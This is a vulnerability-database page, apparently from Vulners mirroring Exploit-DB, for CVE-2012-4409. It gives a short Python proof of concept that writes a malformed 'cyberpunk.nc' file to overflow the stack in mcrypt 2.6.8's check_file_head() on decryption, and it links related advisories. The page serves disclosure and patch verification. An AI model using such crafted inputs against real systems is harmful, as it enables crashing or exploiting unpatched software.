Lucene search
+L

mcrypt 2.6.8 - Stack Buffer Overflow (PoC)

🗓️ 26 Nov 2012 00:00:00Reported by _ishikawaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 41 Views

mcrypt 2.6.8 Stack Buffer Overflow PoC, overflows in check_file_head(), ubuntu 12.04.1, file: cyberpunk.nc

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
mcrypt <= 2.5.8 STACK based overflow Vulnerability
24 Nov 201200:00
zdt
circl
Circl
CVE-2012-4409
26 Nov 201200:00
circl
cve
CVE
CVE-2012-4409
21 Nov 201223:00
cve
cvelist
Cvelist
CVE-2012-4409
21 Nov 201223:00
cvelist
debiancve
Debian CVE
CVE-2012-4409
21 Nov 201223:00
debiancve
exploitdb
Exploit DB
mcrypt 2.5.8 - Local Stack Overflow
26 Nov 201200:00
exploitdb
exploitpack
exploitpack
mcrypt 2.5.8 - Local Stack Overflow
26 Nov 201200:00
exploitpack
fedora
Fedora
[SECURITY] Fedora 18 Update: mcrypt-2.6.8-9.fc18
17 Sep 201222:15
fedora
fedora
Fedora
[SECURITY] Fedora 16 Update: mcrypt-2.6.8-10.fc16
8 Nov 201201:52
fedora
fedora
Fedora
[SECURITY] Fedora 16 Update: mcrypt-2.6.8-9.fc16
19 Sep 201203:11
fedora
Rows per page
#!/usr/bin/env python

# mcrypt <= 2.6.8 stack-based buffer overflow poc
# http://mcrypt.sourceforge.net/
# (the command line tool, not the library)
#
# date: 2012-09-04
# exploit author: _ishikawa
# tested on: ubuntu 12.04.1
# tech: it overflows in check_file_head() when decrypting .nc files with too long salt data
#
# shout-outs to all cryptoparty people

import sys

sprawl = 105
gibson = "\x00\x6d\x03\x40\x73\x65\x72\x70\x65\x6e\x74\x00\x20\x00\x63\x62"
gibson += "\x63\x00\x6d\x63\x72\x79\x70\x74\x2d\x73\x68\x61\x31\x00"
gibson += chr(sprawl)
gibson += ("A" * sprawl)
gibson += (chr(0) * 3)

try:
  count0 = open("cyberpunk.nc", "wb")
  count0.write(gibson)
  count0.close()
except IOError:
  print "file error"
  sys.exit(1)

print "now run  mcrypt -d cyberpunk.nc"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Nov 2012 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 26.8
EPSS0.15138
41